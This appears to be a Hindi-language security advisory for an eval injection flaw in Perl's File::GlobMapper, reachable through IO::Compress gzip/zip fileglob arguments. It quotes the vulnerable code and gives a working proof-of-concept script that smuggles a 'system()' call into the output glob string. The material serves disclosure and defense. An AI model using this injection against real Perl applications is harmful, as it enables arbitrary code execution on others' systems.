
CVE-2026-48962 - IO::Compress - कोड निष्पादन
File::GlobMapper::_getFiles() में एक eval इंजेक्शन भेद्यता किसी भी हमलावर को, जो IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip(), या किसी भी सहयोगी फ़ंक्शन को दिए गए आउटपुट fileglob तर्क को नियंत्रित कर सकता है, चल रही प्रक्रिया के संदर्भ में मनमाना Perl कोड निष्पादित करने की अनुमति देती है।
कोई प्रमाणीकरण आवश्यक नहीं है। प्रभाव पूर्ण है: होस्ट प्रक्रिया की गोपनीयता, अखंडता और उपलब्धता पूरी तरह से समझौता हो जाती है।
File::GlobMapper::_parseOutputGlob() कॉलर-आपूर्ति किए गए आउटपुट पैटर्न को Perl डबल-कोट्स में लपेटकर एक आउटपुट फ़ाइलनाम टेम्पलेट बनाता है और परिणाम संग्रहीत करता है। _getFiles() फिर उस स्ट्रिंग को बिना किसी सैनिटाइज़ेशन के सीधे eval को पास करता है:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper स्वचालित रूप से आमंत्रित होता है जब भी किसी IO::Compress::* / IO::Uncompress::* फ़ंक्शन के इनपुट और आउटपुट तर्क दोनों fileglob स्ट्रिंग्स होते हैं (< > द्वारा सीमांकित)। यह एक प्रलेखित, सामान्य कॉलिंग कन्वेंशन है। प्रभावित फ़ंक्शनों में gzip, zip, bzip2, deflate, rawdeflate, और सभी IO::Uncompress::* समकक्ष शामिल हैं।
कोई भी वर्ण जो आस-पास की डबल-कोटेड Perl स्ट्रिंग को बंद करता है — एक शाब्दिक ", एक बैकटिक, ${...}, या @{...} — उसके बाद मनमाना Perl कोड यथावत निष्पादित होता है।
poc.pl के रूप में सहेजें और perl poc.pl से चलाएँ:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
अपेक्षित आउटपुट:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04 पर पुष्टि की गई।
यह एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है। कोई भी वेब एप्लिकेशन, API सेवा, CLI टूल, या बैच-प्रोसेसिंग पाइपलाइन जो उपयोगकर्ता इनपुट स्वीकार करती है और उसे किसी भी IO::Compress::* फ़ंक्शन के आउटपुट fileglob तर्क के रूप में पास करती है, असुरक्षित है। इंजेक्ट किया गया कोड कॉलिंग प्रक्रिया के पूर्ण विशेषाधिकारों के साथ चलता है।
कौन प्रभावित है: Perl अनुप्रयोगों के डेवलपर और ऑपरेटर जो fileglob कॉलिंग कन्वेंशन के साथ IO::Compress::* फ़ंक्शन का उपयोग करते हैं और जहाँ आउटपुट पैटर्न अविश्वसनीय इनपुट से प्राप्त होता है — जैसे वेब फॉर्म, REST API पैरामीटर, CLI तर्क, या गैर-विशेषाधिकार प्राप्त उपयोगकर्ताओं द्वारा नियंत्रित कॉन्फ़िगरेशन फ़ाइलों से फ़ाइलनाम टेम्पलेट।
setuid या विशेषाधिकार-प्राप्त डेमॉन संदर्भों में, शोषण से उन्नत विशेषाधिकार स्तर पर कोड निष्पादन प्राप्त होता है। यह बग File::GlobMapper की प्रारंभिक रिलीज़ (≈ 2005) के बाद से मौजूद है और हर Linux वितरण पर मौजूद है जो perl पैकेज वितरित करता है।